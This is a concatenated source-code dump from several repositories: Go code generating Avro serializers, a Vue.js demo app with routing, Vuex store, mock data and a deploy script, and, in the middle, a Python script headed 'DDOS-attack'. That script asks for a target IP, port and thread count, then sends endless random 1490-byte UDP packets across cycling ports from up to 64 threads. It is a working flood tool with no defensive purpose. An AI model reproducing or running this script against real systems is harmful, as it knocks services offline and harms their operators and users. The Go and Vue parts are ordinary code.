"unionNullLongSerializer", "UnionNullBool": "unionNullBoolSerializer", "UnionNullIPAddress": "unionNullIPAddressSerializer", } var serializers = map[string]string{ "byte": byteSerializer, "[]byte": byteSliceSerializer, "bool": boolSerializer, "[]bool": boolSliceSerializer, "string": stringSerializer, "[]string": stringSliceSerializer, // int "int": intSerializer, "[]int": intSliceSerializer, "int32": int32Serializer, "[]int32": int32SliceSerializer, "int64": int64Serializer, "[]int64": int64SliceSerializer, // IP related "IPAddress": ipSerializer, // unions "UnionNullString": unionNullStringSerializer, "UnionNullInt": unionNullIntSerializer, "UnionNullLong": unionNullLongSerializer, "UnionNullBool": unionNullBoolSerializer, "UnionNullIPAddress": unionNullIPAddressSerializer, } // byte var byteSerializer = ` func byteSerializer(v byte) string { return fmt.Sprintf("%d", v) } ` var byteSliceSerializer = ` func byteSliceSerializer(vs []byte) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%d", v) } return out } ` // string var stringSerializer = ` func stringSerializer(v string) string { return v } ` var stringSliceSerializer = ` func stringSliceSerializer(vs []string) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += v } return out } ` // bool var boolSerializer = ` func boolSerializer(v bool) string { return fmt.Sprintf("%v", v) } ` var boolSliceSerializer = ` func boolSliceSerializer(vs []bool) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%v", v) } return out } ` // int, int32, int64 var intSerializer = ` func intSerializer(v int) string { return fmt.Sprintf("%d", v) } ` var int32Serializer = ` func int32Serializer(v int32) string { return fmt.Sprintf("%d", v) } ` var int64Serializer = ` func int64Serializer(v int64) string { return fmt.Sprintf("%d", v) } ` var intSliceSerializer = ` func intSliceSerializer(vs []int) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%d", v) } return out } ` var int32SliceSerializer = ` func int32SliceSerializer(vs []int32) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%d", v) } return out } ` var int64SliceSerializer = ` func int64SliceSerializer(vs []int64) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%d", v) } return out } ` // ip var ipSerializer = ` func ipSerializer(vs IPAddress) string { out := "" for i, v := range vs { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%d", v) } return out } ` // unions var unionNullStringSerializer = ` func unionNullStringSerializer(un UnionNullString) string { if un.UnionType == UnionNullStringTypeEnumString { return un.String } return "" } ` var unionNullIntSerializer = ` func unionNullIntSerializer(un UnionNullInt) string { if un.UnionType == UnionNullIntTypeEnumInt { return fmt.Sprintf("%d", un.Int) } return "" } ` var unionNullLongSerializer = ` func unionNullLongSerializer(un UnionNullLong) string { if un.UnionType == UnionNullLongTypeEnumLong { return fmt.Sprintf("%d", un.Long) } return "" } ` var unionNullBoolSerializer = ` func unionNullBoolSerializer(un UnionNullBool) string { if un.UnionType == UnionNullBoolTypeEnumBool { return fmt.Sprintf("%v", un.Bool) } return "" } ` var unionNullIPAddressSerializer = ` func unionNullIPAddressSerializer(un UnionNullIPAddress) string { if un.UnionType == UnionNullIPAddressTypeEnumIPAddress { out := "" for i, v := range un.IPAddress { if i != 0 { out += ArraySeparator } out += fmt.Sprintf("%d", v) } return out } return "" } ` <file_sep>package types import ( "encoding/json" "fmt" "os" "strconv" "strings" "github.com/alanctgardner/gogen-avro/generator" mapstruct "github.com/alanctgardner/gogen-avro/mapstruct" "github.com/serenize/snaker" ) const recordStructDefTemplate = `type %v struct { %v } ` const recordSchemaTemplate = `func (r %v) Schema() string { return %v } ` const recordStructPublicSerializerTemplate = ` func (r %v) Serialize(w io.Writer) error { return %v(r, w) } ` const recordStructDeserializerTemplate = ` func %v(r io.Reader) (%v, error) { var str = &%v{} var err error %v return str, nil } ` const recordStructPublicDeserializerTemplate = ` func %v(r io.Reader) (%v, error) { return %v(r) } ` type RecordDefinition struct { name QualifiedName version int aliases []QualifiedName fields []Field metadata map[string]interface{} } func (r *RecordDefinition) AvroName() QualifiedName { return r.name } func (r *RecordDefinition) Aliases() []QualifiedName { return r.aliases } func (r *RecordDefinition) GoType() string { return fmt.Sprintf("*%v", r.FieldType()) } func (r *RecordDefinition) FieldType() string { return generator.ToPublicName(r.name.Name) } func (r *RecordDefinition) structFields() string { var fieldDefinitions string for _, f := range r.fields { fieldDefinitions += fmt.Sprintf("%v %v\n", f.GoName(), f.GoType()) } return fieldDefinitions } func (r *RecordDefinition) fieldSerializers() string { serializerMethods := "var err error\n" for _, f := range r.fields { serializerMethods += fmt.Sprintf("err = %v(r.%v, w)\nif err != nil {return err}\n", f.SerializerMethod(), f.GoName()) } return serializerMethods } func (r *RecordDefinition) fieldDeserializers() string { deserializerMethods := "" for _, f := range r.fields { deserializerMethods += fmt.Sprintf("str.%v, err = %v(r)\nif err != nil {return nil, err}\n", f.GoName(), f.DeserializerMethod()) } return deserializerMethods } func (r *RecordDefinition) structDefinition() string { return fmt.Sprintf(recordStructDefTemplate, r.FieldType(), r.structFields()) } func (r *RecordDefinition) serializerMethodDef() string { return fmt.Sprintf("func %v(r %v, w io.Writer) error {\n%v\nreturn nil\n}", r.SerializerMethod(), r.GoType(), r.fieldSerializers()) } func (r *RecordDefinition) deserializerMethodDef() string { return fmt.Sprintf(recordStructDeserializerTemplate, r.DeserializerMethod(), r.GoType(), r.FieldType(), r.fieldDeserializers()) } func (r *RecordDefinition) SerializerMethod() string { return fmt.Sprintf("write%v", r.FieldType()) } func (r *RecordDefinition) DeserializerMethod() string { return fmt.Sprintf("read%v", r.FieldType()) } func (r *RecordDefinition) publicDeserializerMethod() string { return fmt.Sprintf("Deserialize%v", r.FieldType()) } func (r *RecordDefinition) publicSerializerMethodDef() string { return fmt.Sprintf(recordStructPublicSerializerTemplate, r.GoType(), r.SerializerMethod()) } func (r *RecordDefinition) publicDeserializerMethodDef() string { return fmt.Sprintf(recordStructPublicDeserializerTemplate, r.publicDeserializerMethod(), r.GoType(), r.DeserializerMethod()) } func (r *RecordDefinition) filename() string { return generator.ToSnake(r.FieldType()) + ".go" } func (r *RecordDefinition) schemaMethod() string { schemaJson, _ := json.Marshal(r.Schema(make(map[QualifiedName]interface{}))) return fmt.Sprintf(recordSchemaTemplate, r.GoType(), strconv.Quote(string(schemaJson))) } func (r *RecordDefinition) AddStruct(p *generator.Package) { // Import guard, to avoid circular dependencies if !p.HasStruct(r.filename(), r.GoType()) { p.AddStruct(r.filename(), r.GoType(), r.structDefinition()) for _, f := range r.fields { f.AddStruct(p) } p.AddFunction(r.filename(), r.GoType(), "Schema", r.schemaMethod()) // For Records we also want to add other utility methods. r.AddGenerateID(p) r.AddSchemaVersion(p) r.AddSendStats(p) } } func (r *RecordDefinition) AddSerializer(p *generator.Package) { // Import guard, to avoid circular dependencies if !p.HasFunction(UTIL_FILE, "", r.SerializerMethod()) { p.AddImport(r.filename(), "io") p.AddFunction(UTIL_FILE, "", r.SerializerMethod(), r.serializerMethodDef()) p.AddFunction(r.filename(), r.GoType(), "Serialize", r.publicSerializerMethodDef()) for _, f := range r.fields { f.AddSerializer(p) } } } func (r *RecordDefinition) AddDeserializer(p *generator.Package) { // Import guard, to avoid circular dependencies if !p.HasFunction(UTIL_FILE, "", r.DeserializerMethod()) { p.AddImport(r.filename(), "io") p.AddFunction(UTIL_FILE, "", r.DeserializerMethod(), r.deserializerMethodDef()) p.AddFunction(r.filename(), "", r.publicDeserializerMethod(), r.publicDeserializerMethodDef()) for _, f := range r.fields { f.AddDeserializer(p) } } } func (r *RecordDefinition) ResolveReferences(n *Namespace) error { var err error for _, f := range r.fields { err = f.ResolveReferences(n) if err != nil { return err } } return nil } func (r *RecordDefinition) Schema(names map[QualifiedName]interface{}) interface{} { name := r.name.Name // If name already seen if v, ok := names[r.name]; ok { // v is times name was seen ts := v.(int) // Add a suffix to the name to avoid name collisions name += "_" + fmt.Sprintf("%d", ts) // Update the times seen count names[r.name] = ts + 1 } // mark name as seen names[r.name] = 1 fields := make([]interface{}, 0, len(r.fields)) for _, f := range r.fields { fieldDef := map[string]interface{}{ "name": f.AvroName(), "type": f.Schema(names), } if f.HasDefault() { fieldDef["default"] = f.Default() } fields = append(fields, fieldDef) } return mergeMaps(map[string]interface{}{ "type": "record", "name": name, // Name field should be unqualified (not including namespace) "fields": fields, }, r.metadata) } // AddGenerateID adds a GenerateID method which creates a uuidV5 from a set of fields func (r *RecordDefinition) AddGenerateID(p *generator.Package) { // Import guard, to avoid circular dependencies if !p.HasFunction(r.filename(), "", "GenerateID") { p.AddImport(r.filename(), "fmt") p.AddImport(r.filename(), "github.com/satori/go.uuid") uuidStrDef, requiredSerializers := r.uuidStrDef() // Create function definition fnDef := fmt.Sprintf(` func (r %v) GenerateID() string { s := fmt.Sprint(%s) return uuid.NewV5(uuid.NamespaceOID, s).String() } `, r.GoType(), uuidStrDef) p.AddFunction(r.filename(), r.GoType(), "GenerateID", fnDef) // Add serializers to the output package as required AddUUIDSerializerToPackage(p, requiredSerializers) } } // AddSchemaVersion adds a SchemaVersion method which returns the version of the // schema. func (r *RecordDefinition) AddSchemaVersion(p *generator.Package) { // Import guard, to avoid circular dependencies if p.HasFunction(r.filename(), "", "SchemaVersion") { return } // Create function definition fnDef := fmt.Sprintf(` func (r %v) SchemaVersion() int { return %d } `, r.GoType(), r.version) p.AddFunction(r.filename(), r.GoType(), "SchemaVersion", fnDef) } func extractAvailableFields(f Field) map[string]string { availableFields := map[string]string{} // primitive case if _, ok := allowedFieldTypes[f.GoType()]; ok { availableFields[f.GoName()] = f.GoType() return availableFields } // union case un, ok := f.(*unionField) if ok { // The second type must be an allowed type typ := un.itemType[1].GoType() if _, ok := allowedFieldTypes[typ]; ok { availableFields[f.GoName()] = f.GoType() return availableFields } } // reference type ref, ok := f.(*Reference) if ok { // fixed type // pass // record type rec, ok := ref.def.(*RecordDefinition) if ok { for _, f := range rec.fields { moreAvailableFields := extractAvailableFields(f) // update availableFields with moreAvailableFields for fn, ft := range moreAvailableFields { fullFieldName := fmt.Sprintf("%s.%s", rec.FieldType(), fn) availableFields[fullFieldName] = ft } } } } return availableFields } // uuidStrDef generates the fmt.Sprintf compatible input for the AddGenerateID method // e.g. for uuidKeys = []string{"A", "B"} => `"%v%v", A, B` // It also returns a list of required uuid serializers func (r *RecordDefinition) uuidStrDef() (string, []string) { type Schema struct { UUIDKeys []string `json:"uuid_keys"` } var schema Schema if err := mapstruct.Decode(r.metadata, &schema); err != nil { fmt.Printf("failed to decode metadata: %s\n", err) return "", nil } // Extract fields from the schema which can be used for uuid generation availableFields := map[string]string{} for _, f := range r.fields { moreAvailableFields := extractAvailableFields(f) for fn, ft := range moreAvailableFields { availableFields[fn] = ft } } // uuidToFieldName is an auxiliary function to convert a uuid_key name to // an appropriate Go CamelCased name. uuidToFieldName := func(uuidKey string) string { ps := []string{} for _, p := range strings.Split(uuidKey, ".") { ps = append(ps, snaker.SnakeToCamel(p)) } return strings.Join(ps, ".") } type uuidField struct { Name string Type string } // decide on which keys are to be used for uuid generation fieldsToInclude := []uuidField{} for _, uuidKey := range schema.UUIDKeys { fName := uuidToFieldName(uuidKey) if _, ok := availableFields[fName]; !ok { fmt.Printf("Error: can't use %s as a uuid key\n", fName) fields := []string{} for field := range availableFields { fields = append(fields, field) } fmt.Printf("Error: valid UUID keys %s\n", strings.Join(fields, ", ")) fmt.Printf("Error: the keys above are shown in Go format (CamelCase), but must be declared in uuid_keys using the Avro format (snake_case).\n") os.Exit(1) } fieldsToInclude = append(fieldsToInclude, uuidField{Name: fName, Type: availableFields[fName]}) } // track the serializers that we need requiredSerializers := map[string]bool{} for _, fti := range fieldsToInclude { requiredSerializers[fti.Type] = true } requiredSerializersList := []string{} for k := range requiredSerializers { requiredSerializersList = append(requiredSerializersList, k) } serializedFields := []string{} for _, fti := range fieldsToInclude { serializerFn, ok := typeSerializerFuncs[fti.Type] if !ok { fmt.Printf("Error: no serializer available for %s for use as a uuid key\n", fti.Name) os.Exit(1) } serializedFields = append(serializedFields, fmt.Sprintf("%s(r.%s)", serializerFn, fti.Name)) } strDef := strings.Join(serializedFields, " + FieldSeparator + ") return strDef, requiredSerializersList } // AddSendStats add a SendStats method which submits stats for this record func (r *RecordDefinition) AddSendStats(p *generator.Package) { // Import guard, to avoid circular dependencies if !p.HasFunction(r.filename(), "", "SendStats") { metricTagsStrDef := r.metricTagsDef() // Only add "fmt" if necessary (only when there are tags) if metricTagsStrDef != "" { p.AddImport(r.filename(), "fmt") } p.AddImport(r.filename(), "github.com/securityscorecard/go-stats") // Create function definition fnDef := fmt.Sprintf(` func (r %v) SendStats(statser stats.Statser) { statser.Count("%s", 1, stats.Tags{ %s }) } `, r.GoType(), r.name, metricTagsStrDef) p.AddFunction(r.filename(), r.GoType(), "SendStats", fnDef) } } func (r *RecordDefinition) metricTagsDef() string { type Schema struct { MetricTags []string `json:"metric_tags"` } var schema Schema if err := mapstruct.Decode(r.metadata, &schema); err != nil { fmt.Printf("failed to decode metadata: %s\n", err) return "" } strDefParts := []string{} for _, tag := range schema.MetricTags { part := fmt.Sprintf( `"%s": fmt.Sprint(r.%s),`, tag, snaker.SnakeToCamel(tag), ) strDefParts = append(strDefParts, part) } return strings.Join(strDefParts, "\n") } <file_sep>package mapstruct /* Like [mitchellh/mapstructure](https://github.com/mitchellh/mapstructure) but based on a simple round-trip conversion to json. ### Usage ```go type Person struct { Name string `json:"name"` } // We have a map that's compatible with the struct data := map[string]interface{}{ "name": "Johnny", } // We want to convert the map to the struct var p Person if err := Decode(data, &p); err != nil { log.Fatal(err) } ``` */ import ( "bytes" "encoding/json" ) func Decode(r map[string]interface{}, v interface{}) error { var buf bytes.Buffer if err := json.NewEncoder(&buf).Encode(&r); err != nil { return err } if err := json.NewDecoder(&buf).Decode(&v); err != nil { return err } return nil }
86cc9289474a30fe4196f9a206d1332fc810fe01
[ "Go", "Dockerfile" ]
8
Go
securityscorecard/gogen-avro
12ab1495e51845e4b5473772deca6a2d90b2c356
6be7a4793193c9e77629cf839d65abd3fb50706e
refs/heads/master
<file_sep>import sys import os import threading import time import socket import random # Code Time from datetime import datetime from concurrent.futures import ThreadPoolExecutor now = datetime.now() hour = now.hour minute = now.minute day = now.day month = now.month year = now.year ############## sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) bytes = os.urandom(1490) ############# print("DDOS-attack") ip = input("IP Target: ") port = int(input("Port: ")) thread = int(input("Thread: ")) if thread > 64: print("Thread cannot be greater than 64") thread = int(input("Thread: ")) print("ddos-attack start after 3 second") time.sleep(3) def run_send(ip, port): print("开始攻击") sent = 0 while True: sock.sendto(bytes, (ip, port)) sent = sent + 1 port = port + 1 # print "Sent %s packet to %s throught port:%s"%(sent,ip,port) if port == 65534: port = 1 executor = ThreadPoolExecutor(max_workers=64) for i in range(thread): executor.submit(run_send, ip, port)
d3d94ca75aff0a0fb708ffcedba6575d945c3f9e
[ "Python" ]
1
Python
Kasugano-Soraa/DDos-Attack
76dc4a858b336c8566a1d5d8d0074cfbe06d353b
3db45eaf97d1bbcade5d6533a6607f68daa4e52e
refs/heads/master
<repo_name>karencxx/vue-demo<file_sep>/mockserver/server.js const http = require('http') const url = require('url') function start(route, handle) { function onRequest(req, res) { let pathname = url.parse(req.url).pathname; console.log('Request for ' + pathname + ' received.'); route(handle, pathname, res); //将handle对象作为第一个参数传递给route()回调函数 // res.writeHead(200, {'Content-Type': 'text/json'}); // res.write('Hello World! '); let resp = { code : 0, time : +new Date(), data : { name : 'desmond', gender : 'male' } }; // res.end(JSON.stringify(resp));//将resp转换为JSON字符串返回 } http.createServer(onRequest).listen(8081, '127.0.0.1'); console.log('Server has started.'); } exports.start = start; <file_sep>/src/main.js // The Vue build version to load with the `import` command // (runtime-only or standalone) has been set in webpack.base.conf with an alias. import Vue, { h } from 'vue'; import App from './App' import router from './router' import store from './vuex/store' import directives from './directives/index' import ViewUI from 'view-design' import axios from 'axios' import configComponents from './config-components' import 'view-design/dist/styles/iview.css' import './theme/index.less'; Vue.config.slient = false //取消Vue所有的日志与警告 require('./mock.js') //引入mock.js Vue.prototype.$http = axios Vue.use(router) Vue.use(directives) // Vue.use(ViewUI) configComponents(Vue) //全局注册component Vue.config.devtools = true console.log(process.env, process.env.VUE_APP_API_ENV, 'env') /* eslint-disable no-new */ let app = new Vue({ store, //inject store to all children // el: '#app', router, // template: '<App/>', // components: { App } render: () => h(App), }) let container = document.querySelector('#app') console.log(container, 'container') if(container) { container.innerHTML = '' } app.$mount(container) //指定组件的渲染和观察期间未捕获错误的处理函数。这个处理函数被调用时,可获取错误信息和vue实例。 Vue.config.errorHandler = function(err, vm, info){ }<file_sep>/src/vuex/store.js import Vue from 'vue' import Vuex from 'vuex' import * as actions from './actions' import * as format from '../utils/dateFormat' Vue.use(Vuex) //the root, initial state object const state = { notes: [], activeNote: {}, count: 0 } //define the possible mutations that can be applied to our state // 同步函数 const mutations = { ADD_NOTE(state){ const newNote = { text: 'Get a new note!', favorite: false, createTime: format.formatNow() } state.notes.push(newNote) state.activeNote = newNote }, EDIT_NOTE(state,text){ state.activeNote.text = text }, EDIT_CONTENT(state, text){ state.activeNote.content = text console.log(text, '======') console.log(state.activeNote.content.length) }, DELETE_NOTE(state){ state.notes = state.notes.filter(note => note != state.activeNote) if(state.notes[0]){ state.activeNote = state.notes[0] } }, TOGGLE_FAVORITE(state){ state.activeNote.favorite = !state.activeNote.favorite }, SET_ACTIVE_NOTE(state,note){ state.activeNote = note } } const getters = { notes: state => state.notes, activeNote: state => state.activeNote, activeNoteText: state => state.activeNote.text, activeNoteContent: state => state.activeNote.content, createTime: state => state.activeNote.createTime, count: state => state.notes.length } //create the Vuex instance by combining the state and mutations objects //then export the Vuex store for use by our components export default new Vuex.Store({ state, mutations, getters, actions })<file_sep>/note.md BFC GFC IFC FFC BOX-level box 普通流、浮动流、定位流 FC formatting context 格式化上下文 页面中的一块渲染区域,有一套渲染规则, 决定了其子元素如何布局以及和其他元素之间的关系和作用 会生成BFC html float != none overflow != visible display: inline-block table-cell table-caption position absolute fixed 自适应两栏布局 可以阻止元素被浮动元素覆盖 可以包含浮动元素--清除内部浮动 分属于不同的BFC时可以阻止margin重叠 update to Vue 3.0 update latest @vue/cli vue add vue-next vite <file_sep>/INFO.md # 项目结构 >build -- webpack相关配置 cli3 已移除 ```bash build.js -- webpack打包配置文件 check-version.js -- 检查npm,nodejs版本 utils.js -- 配置资源路径,配置css加载器 vue-loader.conf.js -- 配置css加载器等 webpack.base.conf.js -- webpack基础配置 webpack.dev.conf.js -- 开发所用webpack配置 webpack.prod.conf.js -- 打包用webp配置 ``` >config -- 配置文件 >node_modules -- 存放依赖的目录 >src -- 源码 ```bash assets -- 静态文件 components -- 组件 main.js -- 主入口js App.vue -- 项目入口组件 router -- 路由 ``` >package.json -- node配置文件 >.babelrc -- babel配置文件 cli3 已移除 >.editorconfig -- 编辑器配置 >.gitignore -- 配置git可忽略的文件 <file_sep>/src/utils/dateFormat.js Date.prototype.format = function(format){ var o = { "M+": this.getMonth() + 1, "d+": this.getDate(), "h+": this.getHours(), "m+": this.getMinutes(), "s+": this.getSeconds(), "q+": Math.floor((this.getMonth() + 3) / 3), "S+": this.getMilliseconds() } var week = ["星期日","星期一","星期二","星期三","星期四","星期五","星期六"] if(/(y+)/.test(format)) { format = format.replace(RegExp.$1, (this.getFullYear() + "").substr(4 - RegExp.$1.length)) } if(/(w+)/.test(format)){ format = format.replace(RegExp.$1, week[this.getDay()]); } for(var k in o){ if(new RegExp("("+ k + ")").test(format)){ format = format.replace(RegExp.$1, RegExp.$1.length == 1 ? o[k] : ("00" + o[k]).substr(("" + o[k]).length)) } } return format } /** * js时间对象的格式化 * eg: format = "yyyy-MM-dd hh:mm:ss" */ export function formatDate(format, pattern) { const Format = format ? format instanceof Date ? format : new Date(typeof format == "number" ? format : format.replace(/-/g, "/")) : new Date(), Pattern = pattern || "yyyy-MM-dd hh:mm:ss" return Format.format(Pattern) } export function formatNow(pattern) { const Pattern = pattern || 'yyyy-MM-dd hh:mm:ss' return new Date().format(Pattern) } export function DateFormat(format) { return format ? format instanceof Date ? format : new Date(typeof format == "number" ? format : format.replace(/-/g, "/")) : new Date() } export function formatTime(format) { return format ? DateFormat(format).valueOf() : +new Date }<file_sep>/src/components/custom-code.js export default { name: 'customCode', props: { template: String, // template 模板 js: String, // js 逻辑 css: String, // css 样式 }, computed: { className() { // 生成唯一class, 主要用于做scoped的样式 const uid = Math.random().toString(36).slice(2) return `custom-code-${uid}` }, scopedStyle() { if(this.css) { const scope = `.${this.className}` const reg = /(^|\})\s*([^{]+)/g // 为class 加前缀, 做类似scope的效果 return this.css.trim().replace(reg, (m, g1, g2) => { return g1 ? `${g1} ${scope} ${g2}` : `${scope} ${g2}`; }) } return '' }, component() { // 把代码字符串转成JS对象 const result = safeStringToObject(this.js) const component = result.value if(result.error) { console.log('js 脚本错误', result.error) result.error = { msg: result.error.toString(), type: 'js脚本错误' } result.value = { hasError: true } return result } // 去掉template前后标签 const template = (this.template || '') .replace(/^ *< *template *> | <\/ *template *> *$/g, '') .trim() // 注入template或render,设定template优先级高于render if(this.template) { component.template = this.template component.render = undefined } else if(!component.render) { component.render = '<div>未提供模板或render函数</div>' } return result } }, render() { const { component } = this return ( <div class={this.className}> <style>{this.scopedStyle}</style> <component /> </div> ) } }<file_sep>/index.js var mongoose = require('mongoose'); mongoose.connect('mongodb://localhost/mydb'); //连接上 mydb 数据库 var Schema = mongoose.Schema; var userSchema = new Schema({ name: String, pass: String, email: String, createTime: Date, lastLogin: Date })<file_sep>/src/router/index.js import { createApp } from 'vue' import Router from 'vue-router' // import ViewUI from 'view-design' import components from '@/router/components' const app = createApp() app.use(Router) // Vue.use(ViewUI) console.log('======', 'router/index') const router = new Router({ mode: 'history', // H5 history API routes: [ // { // path: '/hello', // name: 'HelloWorld', // component: components.HelloWorld // }, { path: '/login', name: 'login', alias: '登录页面', component: components.Login }, { path: '/', name: 'index', meta: { title: '目录页' }, alias: '目录页面', //别名 component: components.Home }, { path: '/cssIndex', name: 'cssIndex', meta: { title: 'css练习专栏' }, component: components.cssIndex }, { path: '*', name: '404', alias: '404页面', component: components.NotFindPage }, { path: '/note', name: 'note', alias: '笔记', component: components.Note }, { path: '/easyToolbar', name: 'easyToolbar', alias: '超简易工具栏', component: components.easyToolbar }, { path: '/mixin', name: 'mixin', alias: '混入mixin', component: components.Model }, { path: '/test', name: 'test', alias: '测试页面', component: components.Test }, { path: '/code', name: 'code', alias: '简易代码工具', component: components.Code }, // { // path: '/scroll-css', // name: 'scroll-css', // alias: '', // component: components.ScrollCss // }, { path: '/rate', name: 'rate', alias: '✨评价练习', component: components.Rate }, { path: '/btn-hover', name: 'btn-hover', alias: '炫酷按钮', component: components.BtnHover }, { path: '/panorama', name: 'panorama', alias: '全景图', component: components.Panorama }, { path: '/scroll', name: 'scroll', alias: '上移置顶', component: components.Scroll }, { path: '/myh5', name: 'myh5', alias: '移动web', component: components.Myh5 }, { path: '/mock', name: 'mock', alias: 'mock', component: components.MockDemo }, { path: '/data', name: 'mock_data', alias: 'mock_data', component: components.Data }, { path: '/css', name: 'css', alias: 'css', component: components.Css }, { path: '/loading-animation', name: 'loading-animation', alias: 'loading动画', component: components.LoadingAnimation }, { path:'/roller', name: 'roller', alias: '过山车动画', component: components.Roller }, { path: '/bezier', name: 'bezier', alias: '曲线动效', component: components.Bezier }, { path: '/mint', name: 'mintCandy', alias: '薄荷糖动画', component: components.MintCandy }, { path: '/navHover', name: 'navHover', alias: '从按钮两侧滑入装饰元素的悬停特效', component: components.NavHover }, { path: '/openPopup', name: 'openPopup', alias: '打开内容弹窗样式', component: components.openPopup }, { path: '/cssModules', name: 'cssModules', alias: 'css-modules', component: components.cssModules }, { path: '/ripples', name: 'ripples', alias: '水波荡漾', component: components.Ripples }, { path: '/math', name: 'math', alias: '算术', component: components.Math }, { path: '/lottie', name: 'lottie', alias: 'lottie动画', component: components.Lottie }, { path: '/review', name: 'review', alias: '温故而知新', component: components.review }, { path: '/charge', name: 'charge', alias: '苹果充电线', component: components.Charging }, { path: '/airplane', name: 'airplane', alias: '飞机窗', component: components.Airplane }, { path: '/collection', name: 'collection', alias: '集合', component: components.Collection }, { path: '/border', name: 'border', alias: '边框集合', component: components.Border }, { path: '/question', name: 'question', alias: '50个css基础问题', component: components.Questions }, { path: '/whatisvue', name: 'whatisvue', alias: 'vue 解密', component: components.Whatisvue }, { path: '/turntable', name: 'turntable', alias: '大转盘', component: components.Turntable }, { path: '/optimization', name: 'optimization', alias: 'vue优化小技巧', component: components.Main }, { path: '/dragon', name: 'dragon', alias: '画龙', component: components.Dragon } ] }) router.beforeEach((to, from, next) => { // ViewUI.LoadingBar.start() next() }) router.afterEach(route => { // ViewUI.LoadingBar.finish() }) export default router<file_sep>/src/mock.js //尝试一下mockjs,mock数据 //添加mock规则 const Mock = require('mockjs'); //获取 mock.Random 对象 const Random = Mock.Random; //mock data const producerNewsData = function() { let articles = []; for(let i = 0; i < 100; i++) { let newArticleObject = { title: Random.csentence(5, 30), //Random.csentence( min,max ) thumbnail_pic_s: Random.dataImage('300*350', 'mock的图片'), // Random.dataImage( size, test) 生成一段随机的 base64 图片编码 author_name: Random.cname(), // Random.cname() 随机生成一个常见的中文姓名 date: Random.date() + ' ' + Random.time() // Random.date()指示生成的日期字符串的格式,默认为yyyy-mm-dd: Random.time 返回一个随机时间字符串 } articles.push(newArticleObject); } return { articles: articles } } //弹幕数据 const producerBarrage = function() { let arr = []; for(let i = 0; i < 50; i++) { let str = `${Random.first()}刚刚买了`; arr.push(str); } return { list: arr } } //滚动数据 const producerCarousel = function() { let arr = []; for(let i = 0; i < 10; i++) { let obj = { name: Random.first(), time: Random.time('HH:mm:ss'), from: Random.province() }; arr.push(obj); } return { list: arr } } const randomWord = function () { let arr = []; let num = []; let id function getId () { return Random.integer(1,10) } for (let i = 0; i < 5; i++) { do { id = getId() }while (num.includes(id)) num.push(id) arr.push({ word: Random.word(), id: num[i], date: Random.now(), isCheck: Random.boolean() }); } return { list: arr } } // Mock.mock( url, post/get, 返回的数据) Mock.mock('/news/index', 'post', producerNewsData); Mock.mock('/barrage/get', 'post', producerBarrage); Mock.mock('/carousel/get', 'post', producerCarousel); Mock.mock('/get/random', 'post', randomWord); Mock.mock('/get/check', 'post', Random.boolean()); <file_sep>/test/add.js const add = require('../qunit/add.js'); QUnit.module('add'); QUnit.test('add two numbers', assert => { assert.equal(add(1, 1), 2); }); QUnit.test('unique value', assert => { const set = new Set([1,2,3,4,5,4]) assert.deepEqual([...set], [1,2,3,4,5],'passed') }) QUnit.test('NaN', assert => { const items = new Set([NaN, NaN]) assert.ok(items.size === 1, 'passed') }) <file_sep>/deploy.sh #!/bin/bash git_url=<EMAIL>:karencxx/vue-demo-dist.git # git_url=https://github.com/karencxx/vue-demo-dist.git source_dir=dist dest=".deploy/master" # 当发生错误时中止脚本 set -e if [ ! -d $dest ]; then git clone $git_url $dest --depth=1 fi # 记录现在的目录位置 cur=`pwd` # 进入git目录 cd $dest # git checkout . git add . git stash # reset为线上最新版本 git pull origin master git reset --hard origin/master # 然后再pull一下 git pull origin master # 回到原来的目录 echo ---back cd $cur # 构建 echo +++run build script npm run build echo ---build end echo +++cpCode start # 复制代码 , --exclude排除不需要传输的文件模式 rsync -r --delete --exclude='.git' $source_dir/. $dest echo ---cpCode end # cd 到构建输出的目录下 cd $dest echo +++commit start # 部署到自定义域名 git add . git commit -m "commit in `date '+%Y-%m-%d %H:%M:%S'`" # 部署到远程git git push origin master echo ---commit end cd - exit<file_sep>/src/mixins/code-generate.js export const generate = { data() { return { html: '' } }, methods: { genHtml(data) { console.log(data, 'gen html element'); if(data.type == "table") { let a = `<table class="`; for(let i = 0; i < data.theadClass.length; i++){ a += `${data.theadClass[i]} `; } a += `"> <thead> <tr>`; for(let i = 0; i < data.column; i++){ a += `<th>${data.thead[i]? data.thead[i] : ''}</th>`; } a += `</tr> </thead> <tbody> <tr>`; for(let i = 0; i < data.column; i++){ a += data.tbody[i] ? `<td>{{ ${data.tbody[i]} }}</td>` : `<td></td>`; } a +=`</tr> </tbody> </table>`; this.html = a; } if(data.type == "form") {} return this.html; } }, mounted() { } }<file_sep>/src/directives/index.js import Vue from 'vue' //注册一个全局自定义指令 'v-focus' const focus = Vue.directive('focus', { //当被绑定的元素插入到 DOM 中时 inserted: function (el) { //聚焦元素 console.log('自动聚焦') el.focus() } }) // export default { // focus // } <file_sep>/vue.config.js const path = require('path') const resolve = dir => path.join(__dirname, dir) module.exports = { publicPath: '/', outputDir: 'dist', assetsDir: 'static', productionSourceMap: false, lintOnSave: false, devServer: { port: 8080, proxy: '', //设置代理 inline: true, // 实时刷新 hot: true }, css: { requireModuleExtension: false, // 启用css modules extract: true, // 是否使用css分离插件 sourceMap: false, loaderOptions: { less: { javascriptEnabled: true, globalVars: { global_prefix: 'ssss' } } } }, chainWebpack: config => { config .plugin('html') .tap(args => { if(process.env.dev) { args[0].template = './public/index.html' } return args }) config.resolve.alias .set('static', resolve('public/static')) .set('@', resolve('src')) }, configureWebpack: config => { if(process.env.NODE_ENV === 'production') { // 为生产环境修改配置 } else { // 为开发环境修改配置 } } }<file_sep>/src/config-components.js //命名用-连接 const componentsList = [ { prefix: 'v-', name: 'global' } ] export default function(Vue) { componentsList.forEach(function(item, index) { // let url = './global-components/' + item.name + '.vue'; // require(url); //上面的写法会报错,url被认为是字符串,因此不能被解析 /** * add the require .default * add .default to require('xxx.vue') or import('xxx.vue') it will work right * vue-loader- 13.0.0 will set the vue component as a esModule by default. * Before 13.0.0 vue-loader set the vue component as CommonJsModule * 